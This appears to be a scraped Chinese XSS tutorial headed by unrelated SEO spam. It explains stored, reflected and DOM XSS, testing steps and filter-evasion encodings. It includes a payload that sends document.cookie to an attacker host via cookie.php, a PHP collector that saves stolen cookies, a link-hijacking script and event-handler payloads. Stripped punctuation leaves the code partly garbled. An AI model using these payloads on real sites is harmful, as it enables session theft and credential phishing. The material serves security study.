河南便宜网站建设费用,菏泽网站建设哪好,南宁百度seo排名优化,wordpress怎么查看主题XSS原理及基础
定义
恶意攻击者会往Web页面里插入JS代码,当用户点击网页时.镶嵌的JS代码就会执行,从而达到恶意的特殊目的.
原因
程序对输入和输出的控制不够严格#xff0c;导致payload输出到前段时被浏览器当做有效代码执行从而产生危害。
分类
存储型反射型DOM型
测…XSS原理及基础
定义
恶意攻击者会往Web页面里插入JS代码,当用户点击网页时.镶嵌的JS代码就会执行,从而达到恶意的特殊目的.
原因
程序对输入和输出的控制不够严格导致payload输出到前段时被浏览器当做有效代码执行从而产生危害。
分类
存储型反射型DOM型
测试流程
目标站点找到输入点输入一组特殊字符唯一识别字符点击提交后查看源码。先看看网页对特殊字符做了哪些过滤。通过搜索定位到唯一的字符确认是否可以构造js的条件提交构造的脚本代码看是否可以成功执行 tips查询接口容易出现反射型XSS留言板容易出现存储型XSS绕过过滤机制
存储型XSS原理
攻击者在页面上插入XSS代码,服务端将数据存入数据库当用户访问到存在XSS漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致XSS代码执行,达到攻击效果.
可能存在的位置:一切用户可以输入的位置
XSS盗取cookie
Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式.Cookie是由Web服务器保存在用户浏览器上的小文本文件.他可以包含有关用户信息.
存在反射型XSS漏洞的位置,可以利用以下链接来盗取Cookie(dvwa,xss low):
url?unamescriptdocument.locationhttp://ip/cookie.php?cookiedocument.cookie/script#cookie.php
?php
$cookie $_GET[cookie];
file_put_contents(cookie.txt, $cookie);
echo ok;
?劫持会话后可以进一步利用漏洞修改配置文件
XSS篡改网页链接
篡改链接
script
window.onloadfunction(){
var link document.getElementsByTagName(a);
for(j0;jlink.length;j){
link[j].herfhttp://ip;
}
}
/scriptapt-get install beef-xss###XSS盗取用户信息 克隆网站登录页面利用存储XSS设置跳转代码如果用户访问即跳转到克隆网站的登录页面用户输入登录账号和密码被存储。
主要是用setookie但是新版的Kali不能用。
探测XSS过程
构造一个不会被识别成恶意代码的字符串查找该字符串的位置。构造XSSpayload
属性中的XSS
xss事件 1.鼠标点击相应位置时触发弹框。
onmouseoveralert(document.domain)选择列表的XSS
隐性参数XSS
SVG介绍
SVG意为可缩放矢量图形使用XML格式定义图像。 可以通过,,,svg标签插入HTML文档。
svg onload····注入点在一个被隐藏的位置burp抓包后。
svg /onloadalert(document.domain)%0aHTML事件
onlink:当鼠标点击时运行脚本。ondblclick:当双击鼠标运行脚本ondrag:当拖动元素时运行脚本ondragend:当拖动操作结束时运行脚本ondragenter:当元素被拖动至有效的拖放目标时运行脚本ondragleave:当元素离开有效拖放目标时运行脚本ondragover:当元素被拖放至有效目标上方时运行ondragstart:当拖动操作开始时运行脚本ondrop:当拖动元素正在被拖放时运行脚本onmousedownonmousemoveonmouseoutonmouseoveronmouseuponmousewheel:当鼠标滚轮时运转onscroll
空格可以引发属性 ## JavaScript伪协议 javascript:js代码
javascript:alert(hello)伪协议XSS
a herfjavascript:alert(document.domain)xss/ar经过·html编码
a hrefjava#115;cript:alert(document.domain)1/a在IE中可以闭合一个双引号双写绕过html编码绕过unicode编码绕过。
htmlspecialchars()把预定义的字符转换为HTML实体。,,,,strip_tags():剥去字符串中HTML,PHP,XML的标签并不是转换。htmlentities()可以处理用户输入防止XSSJS编码数字形式\u后面加4位16进制数字或\x2位16进制数字HTML编码实体编码一般以“开头”;“结尾进制编码通常以”#“开头加上字符的数值,”;结尾,字符的数值可以是任意十进制ascii码或者unicode字符编码,十六进制需要在编码前加’x’.进制编码:十进制编码,String.fromChareCode(97,86),十六进制编码(“\x87\x65”),unicode编码(“\u0012\u0045”).url编码:%十六进制 进行编码是为了绕过某些xss_filter
XSS绕过
https://owasp.org/www-community/xss-filter-evasion-cheatsheetXSS发生的位置
GET如果在URL中提交的参数中能够在页面中显示就可能会有XSS。POSTJSON自定义http头中
XSS工具
xsserxsstrike